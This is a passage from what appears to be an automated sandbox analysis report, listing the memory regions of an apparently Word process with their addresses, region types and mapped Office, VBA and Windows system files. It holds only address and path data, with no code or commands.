end_va = 0x4160fff entry_point = 0x0 region_type = private name = "private_0x0000000004160000" filename = "" Region: id = 412 start_va = 0x4170000 end_va = 0x4170fff entry_point = 0x0 region_type = private name = "private_0x0000000004170000" filename = "" Region: id = 413 start_va = 0x4180000 end_va = 0x4180fff entry_point = 0x0 region_type = private name = "private_0x0000000004180000" filename = "" Region: id = 414 start_va = 0x4190000 end_va = 0x4190fff entry_point = 0x0 region_type = private name = "private_0x0000000004190000" filename = "" Region: id = 415 start_va = 0x42a0000 end_va = 0x42a0fff entry_point = 0x0 region_type = private name = "private_0x00000000042a0000" filename = "" Region: id = 416 start_va = 0x42b0000 end_va = 0x42b0fff entry_point = 0x0 region_type = private name = "private_0x00000000042b0000" filename = "" Region: id = 417 start_va = 0x42c0000 end_va = 0x42c0fff entry_point = 0x0 region_type = private name = "private_0x00000000042c0000" filename = "" Region: id = 418 start_va = 0x42d0000 end_va = 0x42d0fff entry_point = 0x0 region_type = private name = "private_0x00000000042d0000" filename = "" Region: id = 419 start_va = 0x42e0000 end_va = 0x42e0fff entry_point = 0x0 region_type = private name = "private_0x00000000042e0000" filename = "" Region: id = 420 start_va = 0x42f0000 end_va = 0x42f0fff entry_point = 0x0 region_type = private name = "private_0x00000000042f0000" filename = "" Region: id = 421 start_va = 0x4300000 end_va = 0x4300fff entry_point = 0x0 region_type = private name = "private_0x0000000004300000" filename = "" Region: id = 422 start_va = 0x4310000 end_va = 0x4310fff entry_point = 0x0 region_type = private name = "private_0x0000000004310000" filename = "" Region: id = 423 start_va = 0x4320000 end_va = 0x4320fff entry_point = 0x0 region_type = private name = "private_0x0000000004320000" filename = "" Region: id = 424 start_va = 0x4330000 end_va = 0x4330fff entry_point = 0x0 region_type = private name = "private_0x0000000004330000" filename = "" Region: id = 425 start_va = 0x4340000 end_va = 0x4340fff entry_point = 0x0 region_type = private name = "private_0x0000000004340000" filename = "" Region: id = 426 start_va = 0x4350000 end_va = 0x4350fff entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 427 start_va = 0x9bf0000 end_va = 0x9ceffff entry_point = 0x0 region_type = private name = "private_0x0000000009bf0000" filename = "" Region: id = 428 start_va = 0x7fef6f80000 end_va = 0x7fef7200fff entry_point = 0x7fef6f80000 region_type = mapped_file name = "filesyncshell64.dll" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6917.0607\\amd64\\FileSyncShell64.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6917.0607\\amd64\\filesyncshell64.dll") Region: id = 429 start_va = 0x7fefe3b0000 end_va = 0x7fefe608fff entry_point = 0x7fefe3b0000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 430 start_va = 0x7fefea20000 end_va = 0x7fefeb49fff entry_point = 0x7fefea20000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 431 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee00000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 432 start_va = 0x7fffff78000 end_va = 0x7fffff79fff entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 433 start_va = 0x27e0000 end_va = 0x27e1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027e0000" filename = "" Region: id = 434 start_va = 0x2800000 end_va = 0x280efff entry_point = 0x0 region_type = private name = "private_0x0000000002800000" filename = "" Region: id = 435 start_va = 0x99e0000 end_va = 0x9adffff entry_point = 0x0 region_type = private name = "private_0x00000000099e0000" filename = "" Region: id = 436 start_va = 0x7fef6d50000 end_va = 0x7fef6f63fff entry_point = 0x7fef6d50000 region_type = mapped_file name = "grooveex.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\grooveex.dll") Region: id = 437 start_va = 0x4150000 end_va = 0x416efff entry_point = 0x0 region_type = private name = "private_0x0000000004150000" filename = "" Region: id = 438 start_va = 0x42b0000 end_va = 0x4313fff entry_point = 0x42b0000 region_type = mapped_file name = "seguisb.ttf" filename = "\\Windows\\Fonts\\seguisb.ttf" (normalized: "c:\\windows\\fonts\\seguisb.ttf") Region: id = 439 start_va = 0x4350000 end_va = 0x436efff entry_point = 0x0 region_type = private name = "private_0x0000000004350000" filename = "" Region: id = 440 start_va = 0x9f40000 end_va = 0xa0f8fff entry_point = 0x9f40000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 441 start_va = 0x7fef6000000 end_va = 0x7fef6034fff entry_point = 0x7fef6000000 region_type = mapped_file name = "ehstorshell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll") Region: id = 442 start_va = 0x7fef6040000 end_va = 0x7fef68bdfff entry_point = 0x7fef6040000 region_type = mapped_file name = "grooveintlresource.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grooveintlresource.dll") Region: id = 443 start_va = 0x27f0000 end_va = 0x27f2fff entry_point = 0x0 region_type = private name = "private_0x00000000027f0000" filename = "" Region: id = 444 start_va = 0x2820000 end_va = 0x2820fff entry_point = 0x0 region_type = private name = "private_0x0000000002820000" filename = "" Region: id = 445 start_va = 0x30c0000 end_va = 0x30defff entry_point = 0x0 region_type = private name = "private_0x00000000030c0000" filename = "" Region: id = 446 start_va = 0x3280000 end_va = 0x3280fff entry_point = 0x0 region_type = private name = "private_0x0000000003280000" filename = "" Region: id = 447 start_va = 0x40d0000 end_va = 0x40d0fff entry_point = 0x0 region_type = private name = "private_0x00000000040d0000" filename = "" Region: id = 448 start_va = 0x40f0000 end_va = 0x40f0fff entry_point = 0x0 region_type = private name = "private_0x00000000040f0000" filename = "" Region: id = 449 start_va = 0xa2e0000 end_va = 0xa3dffff entry_point = 0x0 region_type = private name = "private_0x000000000a2e0000" filename = "" Region: id = 450 start_va = 0x7fef5f70000 end_va = 0x7fef5f7bfff entry_point = 0x7fef5f70000 region_type = mapped_file name = "cscdll.dll" filename = "\\Windows\\System32\\cscdll.dll" (normalized: "c:\\windows\\system32\\cscdll.dll") Region: id = 451 start_va = 0x7fef5f80000 end_va = 0x7fef5ffdfff entry_point = 0x7fef5f80000 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 452 start_va = 0x7fffff76000 end_va = 0x7fffff77fff entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 453 start_va = 0x2810000 end_va = 0x2811fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002810000" filename = "" Region: id = 454 start_va = 0x7fef5f60000 end_va = 0x7fef5f6efff entry_point = 0x7fef5f60000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 455 start_va = 0x4580000 end_va = 0x459efff entry_point = 0x0 region_type = private name = "private_0x0000000004580000" filename = "" Region: id = 456 start_va = 0x7fef5ee0000 end_va = 0x7fef5f5ffff entry_point = 0x7fef5ee0000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 457 start_va = 0x7fefcdd0000 end_va = 0x7fefcdf2fff entry_point = 0x7fefcdd0000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 458 start_va = 0x2430000 end_va = 0x2441fff entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 459 start_va = 0x2450000 end_va = 0x2461fff entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 460 start_va = 0x27a0000 end_va = 0x27aefff entry_point = 0x0 region_type = private name = "private_0x00000000027a0000" filename = "" Region: id = 461 start_va = 0x27b0000 end_va = 0x27b0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027b0000" filename = "" Region: id = 462 start_va = 0x4100000 end_va = 0x411dfff entry_point = 0x0 region_type = private name = "private_0x0000000004100000" filename = "" Region: id = 463 start_va = 0x4120000 end_va = 0x413efff entry_point = 0x0 region_type = private name = "private_0x0000000004120000" filename = "" Region: id = 464 start_va = 0x4180000 end_va = 0x419efff entry_point = 0x0 region_type = private name = "private_0x0000000004180000" filename = "" Region: id = 465 start_va = 0x45b0000 end_va = 0x45f7fff entry_point = 0x0 region_type = private name = "private_0x00000000045b0000" filename = "" Region: id = 466 start_va = 0x4600000 end_va = 0x4647fff entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 467 start_va = 0x4ee0000 end_va = 0x4f00fff entry_point = 0x0 region_type = private name = "private_0x0000000004ee0000" filename = "" Region: id = 468 start_va = 0x4f10000 end_va = 0x4f2efff entry_point = 0x0 region_type = private name = "private_0x0000000004f10000" filename = "" Region: id = 469 start_va = 0x4fc0000 end_va = 0x4fddfff entry_point = 0x0 region_type = private name = "private_0x0000000004fc0000" filename = "" Region: id = 470 start_va = 0x5110000 end_va = 0x512efff entry_point = 0x0 region_type = private name = "private_0x0000000005110000" filename = "" Region: id = 471 start_va = 0x5130000 end_va = 0x51affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005130000" filename = "" Region: id = 472 start_va = 0x6900000 end_va = 0x697ffff entry_point = 0x6900000 region_type = mapped_file name = "~df210b354cc2c69ed5.tmp" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Temp\\~DF210B354CC2C69ED5.TMP" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\~df210b354cc2c69ed5.tmp") Region: id = 473 start_va = 0x7fee34d0000 end_va = 0x7fee39fafff entry_point = 0x7fee34d0000 region_type = mapped_file name = "gkword.dll" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GKWord.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gkword.dll") Region: id = 474 start_va = 0x27c0000 end_va = 0x27c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027c0000" filename = "" Region: id = 475 start_va = 0x74bd0000 end_va = 0x74ca1fff entry_point = 0x74bd0000 region_type = mapped_file name = "msvcr100.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\System\\msvcr100.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\system\\msvcr100.dll") Region: id = 476 start_va = 0x7fef0cc0000 end_va = 0x7fef10f0fff entry_point = 0x7fef0cc0000 region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 477 start_va = 0x27d0000 end_va = 0x27d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000027d0000" filename = "" Region: id = 478 start_va = 0x2800000 end_va = 0x2801fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002800000" filename = "" Region: id = 479 start_va = 0xa100000 end_va = 0xa1fffff entry_point = 0x0 region_type = private name = "private_0x000000000a100000" filename = "" Region: id = 480 start_va = 0xa240000 end_va = 0xa24ffff entry_point = 0x0 region_type = private name = "private_0x000000000a240000" filename = "" Region: id = 481 start_va = 0xa3e0000 end_va = 0xa4a6fff entry_point = 0xa3e0000 region_type = mapped_file name = "calibri.ttf" filename = "\\Windows\\Fonts\\calibri.ttf" (normalized: "c:\\windows\\fonts\\calibri.ttf") Region: id = 482 start_va = 0x7fee3940000 end_va = 0x7fee39f9fff entry_point = 0x7fee3940000 region_type = mapped_file name = "uiautomationcore.dll" filename = "\\Windows\\System32\\UIAutomationCore.dll" (normalized: "c:\\windows\\system32\\uiautomationcore.dll") Region: id = 483 start_va = 0x7fef1db0000 end_va = 0x7fef1e03fff entry_point = 0x7fef1db0000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 484 start_va = 0x3260000 end_va = 0x3260fff entry_point = 0x3260000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll") Region: id = 485 start_va = 0x3290000 end_va = 0x3290fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003290000" filename = "" Region: id = 486 start_va = 0xa4b0000 end_va = 0xa961fff entry_point = 0x0 region_type = private name = "private_0x000000000a4b0000" filename = "" Region: id = 487 start_va = 0x77250000 end_va = 0x77252fff entry_point = 0x77250000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 488 start_va = 0x7fef47a0000 end_va = 0x7fef47abfff entry_point = 0x7fef47a0000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 489 start_va = 0xa970000 end_va = 0xaa50fff entry_point = 0xa970000 region_type = mapped_file name = "msword.olb" filename = "\\Program Files\\Microsoft Office\\root\\Office16\\MSWORD.OLB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msword.olb") Region: id = 490 start_va = 0xaa60000 end_va = 0xace1fff entry_point = 0xaa60000 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 491 start_va = 0xaa60000 end_va = 0xace1fff entry_point = 0xaa74c98 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 492 start_va = 0x7fee3590000 end_va = 0x7fee381efff entry_point = 0x7fee35a4c98 region_type = mapped_file name = "vbeui.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbeui.dll") Region: id = 493 start_va = 0x40e0000 end_va = 0x40e2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000040e0000" filename = "" Region: id = 494 start_va = 0x4140000 end_va = 0x414ffff entry_point = 0x0 region_type = private name = "private_0x0000000004140000" filename = "" Region: id = 495 start_va = 0x7fef0c90000 end_va = 0x7fef0cb5fff entry_point = 0x7fef0c90000 region_type = mapped_file name = "vbe7intl.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\1033\\vbe7intl.dll") Region: id = 496 start_va = 0x4170000 end_va = 0x4179fff entry_point = 0x4170000 region_type = mapped_file name = "normnfd.nls" filename = "\\Windows\\System32\\normnfd.nls" (normalized: "c:\\windows\\system32\\normnfd.nls") Region: id = 497 start_va = 0xa250000 end_va = 0xa2cffff entry_point = 0xa250000 region_type = mapped_file name = "~wrf{c2c3deb3-d682-4d28-8a99-dd7ed9eebb0f}.tmp" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{C2C3DEB3-D682-4D28-8A99-DD7ED9EEBB0F}.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.word\\~wrf{c2c3deb3-d682-4d28-8a99-dd7ed9eebb0f}.tmp") Region: id = 498 start_va = 0xaa60000 end_va = 0xba5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000aa60000" filename = "" Region: id = 499 start_va = 0x4320000 end_va = 0x4320fff entry_point = 0x0 region_type = private name = "private_0x0000000004320000" filename = "" Region: id = 500 start_va = 0x6b10000 end_va = 0x6b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000006b10000" filename = "" Region: id = 501 start_va = 0x4330000 end_va = 0x4332fff entry_point = 0x0 region_type = private name = "private_0x0000000004330000" filename = "" Region: id = 502 start_va = 0x4650000 end_va = 0x4653fff entry_point = 0x0 region_type = private name = "private_0x0000000004650000" filename = "" Region: id = 503 start_va = 0x4f30000 end_va = 0x4f30fff entry_point = 0x0 region_type = private name = "private_0x0000000004f30000" filename = "" Region: id = 504 start_va = 0x4fe0000 end_va = 0x4fe0fff entry_point = 0x0 region_type = private name = "private_0x0000000004fe0000" filename = "" Region: id = 505 start_va = 0x50f0000 end_va = 0x50f0fff entry_point = 0x0 region_type = private name = "private_0x00000000050f0000" filename = "" Region: id = 506 start_va = 0x5100000 end_va = 0x5107fff entry_point = 0x0 region_type = private name = "private_0x0000000005100000" filename = "" Region: id = 507 start_va = 0x7200000 end_va = 0x723ffff entry_point = 0x0 region_type = private name = "private_0x0000000007200000" filename = "" Region: id = 508 start_va = 0x51b0000 end_va = 0x51b2fff entry_point = 0x0 region_type = private name = "private_0x00000000051b0000" filename = "" Region: id = 509 start_va = 0x56c0000 end_va = 0x56d6fff entry_point = 0x58233cc region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 510 start_va = 0xba60000 end_va = 0xbae8fff entry_point = 0xba6caf0 region_type = mapped_file name = "mso.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso.dll") Region: id = 511 start_va = 0xbaf0000 end_va = 0xcabffff entry_point = 0x0 region_type = private name = "private_0x000000000baf0000" filename = "" Region: id = 512 start_va = 0x67e0000 end_va = 0x67e3fff entry_point = 0x0 region_type = private name = "private_0x00000000067e0000" filename = "" Region: id = 513 start_va = 0x67f0000 end_va = 0x67f3fff entry_point = 0x0 region_type = private name = "private_0x00000000067f0000" filename = "" Region: id = 514 start_va = 0x6980000 end_va = 0x6982fff entry_point = 0x0 region_type = private name = "private_0x0000000006980000" filename = "" Region: id = 515 start_va = 0x6b50000 end_va = 0x6b53fff entry_point = 0x0 region_type = private name = "private_0x0000000006b50000" filename = "" Region: id = 516 start_va = 0x6b60000 end_va = 0x6b62fff entry_point = 0x0 region_type = private name = "private_0x0000000006b60000" filename = "" Region: id = 517 start_va = 0x6ff0000 end_va = 0x6ff7fff entry_point = 0x0 region_type = private name = "private_0x0000000006ff0000" filename = "" Region: id = 518 start_va = 0x9df0000 end_va = 0x9e2ffff entry_point = 0x0 region_type = private name = "private_0x0000000009df0000" filename = "" Region: id = 519 start_va = 0x7240000 end_va = 0x7242fff entry_point = 0x0 region_type = private name = "private_0x0000000007240000" filename = "" Region: id = 520 start_va = 0x7250000 end_va = 0x7257fff entry_point = 0x73b33cc region_type = mapped_file name = "vbe7.dll" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\vba\\vba7.1\\vbe7.dll") Region: id = 521 start_va = 0x7260000 end_va = 0x7263fff entry_point = 0x0 region_type = private name = "private_0x0000000007260000" filename = "" Region: id = 522 start_va = 0xcc40000 end_va = 0xcd3ffff entry_point = 0x0 region_type = private name = "private_0x000000000cc40000" filename = "" Region: id = 523 start_va = 0x7fffff74000 end_va = 0x7fffff75fff entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 524 start_va = 0x9be0000 end_va = 0x9be3fff entry_point = 0x0 region_type = private name = "private_0x0000000009be0000" filename = "" Region: id = 525 start_va = 0x9e30000 end_va = 0x9e33fff entry_point = 0x0 region_type = private name = "private_0x0000000009e30000" filename = "" Region: id = 526 start_va = 0xa200000 end_va = 0xa203fff entry_point = 0x0 region_type = private name = "private_0x000000000a200000" filename = "" Region: id = 527 start_va = 0xa210000 end_va = 0xa213fff entry_point = 0x0 region_type = private name = "private_0x000000000a210000" filename = "" Region: id = 528 start_va = 0xa220000 end_va = 0xa223fff entry_point = 0x0 region_type = private name = "private_0x000000000a220000" filename = "" Region: id = 529 start_va = 0xa230000 end_va = 0xa233fff entry_point = 0x0 region_type = private name = "private_0x000000000a230000" filename = "" Region: id = 530 start_va = 0xa2d0000 end_va = 0xa2d3fff entry_point = 0x0 region_type = private name = "private_0x000000000a2d0000" filename = "" Region: id = 531 start_va = 0xcac0000 end_va = 0xcac3fff entry_point = 0x0 region_type = private name = "private_0x000000000cac0000" filename = "" Region: id = 532 start_va = 0xcad0000 end_va = 0xcad3fff entry_point = 0x0 region_type = private name = "private_0x000000000cad0000" filename = "" Region: id = 533 start_va = 0xcae0000 end_va = 0xcae3fff entry_point = 0x0 region_type = private name = "private_0x000000000cae0000" filename = "" Region: id = 534 start_va = 0xcaf0000 end_va = 0xcaf3fff entry_point = 0x0 region_type = private name = "private_0x000000000caf0000" filename = "" Region: id = 535 start_va = 0xcb00000 end_va = 0xcb03fff entry_point = 0x0 region_type = private name = "private_0x000000000cb00000" filename = "" Region: id = 536 start_va = 0xcb10000 end_va = 0xcb13fff entry_point = 0x0 region_type = private name = "private_0x000000000cb10000" filename = "" Region: id = 537 start_va = 0xcb20000 end_va = 0xcb23fff entry_point = 0x0 region_type = private name = "private_0x000000000cb20000" filename = "" Region: id = 538 start_va = 0xcb30000 end_va = 0xcb32fff entry_point = 0x0 region_type = private name = "private_0x000000000cb30000" filename = "" Region: id = 539 start_va = 0xcb40000 end_va = 0xcb43fff entry_point = 0x0 region_type = private name = "private_0x000000000cb40000" filename = "" Region: id = 540 start_va = 0xcb50000 end_va = 0xcb53fff entry_point = 0x0 region_type = private name = "private_0x000000000cb50000" filename = "" Region: id = 541 start_va = 0xcb60000 end_va = 0xcb63fff entry_point = 0x0 region_type = private name = "private_0x000000000cb60000" filename = "" Region: id = 542 start_va = 0xcb70000 end_va = 0xcb73fff entry_point = 0x0 region_type = private name = "private_0x000000000cb70000" filename = "" Region: id = 543 start_va = 0xcb80000 end_va = 0xcb83fff entry_point = 0x0 region_type = private name = "private_0x000000000cb80000" filename = "" Region: id = 544 start_va = 0xcb90000 end_va = 0xcb93fff entry_point = 0x0 region_type = private name = "private_0x000000000cb90000" filename = "" Region: id = 545 start_va = 0xcba0000 end_va = 0xcba3fff entry_point = 0x0 region_type = private name = "private_0x000000000cba0000" filename = "" Region: id = 546 start_va = 0xcbb0000 end_va = 0xcbb3fff entry_point = 0x0 region_type = private name = "private_0x000000000cbb0000" filename = "" Region: id = 547 start_va = 0xcbc0000 end_va = 0xcbc3fff entry_point = 0x0 region_type = private name = "private_0x000000000cbc0000" filename = "" Region: id = 548 start_va = 0xcbd0000 end_va = 0xcbd3fff entry_point = 0x0 region_type = private name = "private_0x000000000cbd0000" filename = "" Region: id = 549 start_va = 0xcbe0000 end_va = 0xcbe3fff entry_point = 0x0 region_type = private name = "private_0x000000000cbe0000" filename = "" Region: id = 550 start_va = 0xcbf0000 end_va = 0xcbf3fff entry_point = 0x0 region_type = private name = "private_0x000000000cbf0000" filename = "" Region: id = 551 start_va = 0xcc00000 end_va = 0xcc03fff entry_point = 0x0 region_type = private name = "private_0x000000000cc00000" filename = "" Region: id = 552 start_va = 0xcc10000 end_va = 0xcc13fff entry_point = 0x0 region_type = private name = "private_0x000000000cc10000" filename = "" Region: id = 553 start_va = 0xcc20000 end_va = 0xcc23fff entry_point = 0x0 region_type = private name = "private_0x000000000cc20000" filename = "" Region: id = 554 start_va = 0xcc30000 end_va = 0xcc33fff entry_point = 0x0 region_type = private name = "private_0x000000000cc30000" filename = "" Region: id = 555 start_va = 0xcd40000 end_va = 0xcd43fff entry_point = 0x0 region_type = private name = "private_0x000000000cd40000" filename = "" Region: id = 556 start_va = 0xcd50000 end_va = 0xcd53fff entry_point = 0x0 region_type = private name = "private_0x000000000cd50000" filename = "" Region: id = 557 start_va = 0xcd60000 end_va = 0xcd63fff entry_point = 0x0 region_type = private name = "private_0x000000000cd60000" filename = "" Region: id = 558 start_va = 0xcd70000 end_va = 0xcd73fff entry_point = 0x0 region_type = private name = "private_0x000000000cd70000" filename = "" Region: id = 559 start_va = 0xcd80000 end_va = 0xcd83fff entry_point = 0x0 region_type = private name = "private_0x000000000cd80000" filename = "" Region: id = 560 start_va = 0xcd90000 end_va = 0xcd93fff entry_point = 0x0 region_type = private name = "private_0x000000000cd90000" filename = "" Region: id = 561 start_va = 0xcda0000 end_va = 0xcda3fff entry_point = 0x0 region_type = private name = "private_0x000000000cda0000" filename = "" Region: id = 562 start_va = 0xcdb0000 end_va = 0xcdb3fff entry_point = 0x0 region_type = private name = "private_0x000000000cdb0000" filename = "" Region: id = 563 start_va = 0xcdc0000 end_va = 0xcdc3fff entry_point = 0x0 region_type = private name = "private_0x000000000cdc0000" filename = "" Region: id = 564 start_va = 0xcdd0000 end_va = 0xcdd3fff entry_point = 0x0 region_type = private name = "private_0x000000000cdd0000" filename = "" Region: id = 565 start_va = 0xcde0000 end_va = 0xcde3fff entry_point = 0x0 region_type = private name = "private_0x000000000cde0000" filename = "" Region: id = 566 start_va = 0xcdf0000 end_va = 0xcdf3fff entry_point = 0x0 region_type = private name = "private_0x000000000cdf0000" filename = "" Region: id = 567 start_va = 0xce00000 end_va = 0xce03fff entry_point = 0x0 region_type = private name = "private_0x000000000ce00000" filename = "" Region: id = 568 start_va = 0xce10000 end_va = 0xce13fff entry_point = 0x0 region_type = private name = "private_0x000000000ce10000" filename = "" Region: id = 569 start_va = 0xce20000 end_va = 0xce23fff entry_point = 0x0 region_type = private name = "private_0x000000000ce20000" filename = "" Region: id = 570 start_va = 0xce30000 end_va = 0xce33fff entry_point = 0x0 region_type = private name = "private_0x000000000ce30000" filename = "" Region: id = 571 start_va = 0xce40000 end_va = 0xce43fff entry_point = 0x0 region_type = private name = "private_0x000000000ce40000" filename = "" Region: id = 572 start_va = 0xce50000 end_va = 0xce53fff entry_point = 0x0 region_type = private name = "private_0x000000000ce50000" filename = "" Region: id = 573 start_va = 0xce60000 end_va = 0xce63fff entry_point = 0x0 region_type = private name = "private_0x000000000ce60000" filename = "" Region: id = 574 start_va = 0xce70000 end_va = 0xce73fff entry_point = 0x0 region_type = private name = "private_0x000000000ce70000" filename = "" Region: id = 575 start_va = 0xce80000 end_va = 0xce83fff entry_point = 0x0 region_type = private name = "private_0x000000000ce80000" filename = "" Region: id = 576 start_va = 0xce90000 end_va = 0xce93fff entry_point = 0x0 region_type = private name = "private_0x000000000ce90000" filename = "" Region: id = 577 start_va = 0xcea0000 end_va = 0xcea3fff entry_point = 0x0 region_type = private name = "private_0x000000000cea0000" filename = "" Region: id = 578 start_va = 0xceb0000 end_va = 0xceb3fff entry_point = 0x0 region_type = private name = "private_0x000000000ceb0000" filename = "" Region: id = 579 start_va = 0xcec0000 end_va = 0xcec3fff entry_point = 0x0 region_type = private name = "private_0x000000000cec0000" filename = "" Region: id = 580 start_va = 0xced0000 end_va = 0xced3fff entry_point = 0x0 region_type = private name = "private_0x000000000ced0000" filename = "" Region: id = 581 start_va = 0xcee0000 end_va = 0xcee3fff entry_point = 0x0 region_type = private name = "private_0x000000000cee0000" filename = "" Region: id = 582 start_va = 0xcef0000 end_va = 0xcef3fff entry_point = 0x0 region_type = private name = "private_0x000000000cef0000" filename = "" Region: id = 583 start_va = 0xcf00000 end_va = 0xcf03fff entry_point = 0x0 region_type = private name = "private_0x000000000cf00000" filename = "" Region: id = 584 start_va = 0xcf10000 end_va = 0xcf13fff entry_point = 0x0 region_type = private name = "private_0x000000000cf10000" filename = "" Region: id = 585 start_va = 0xcf20000 end_va = 0xcf23fff entry_point = 0x0 region_type = private name = "private_0x000000000cf20000" filename = "" Region: id = 586 start_va = 0xcf30000 end_va = 0xcf33fff entry_point = 0x0 region_type = private name = "private_0x000000000cf30000" filename = "" Region: id = 587 start_va = 0xcf40000 end_va = 0xcf43fff entry_point = 0x0 region_type = private name = "private_0x000000000cf40000" filename = "" Region: id = 588 start_va = 0xcf50000 end_va = 0xcf53fff entry_point = 0x0 region_type = private name = "private_0x000000000cf50000" filename = "" Region: id = 589 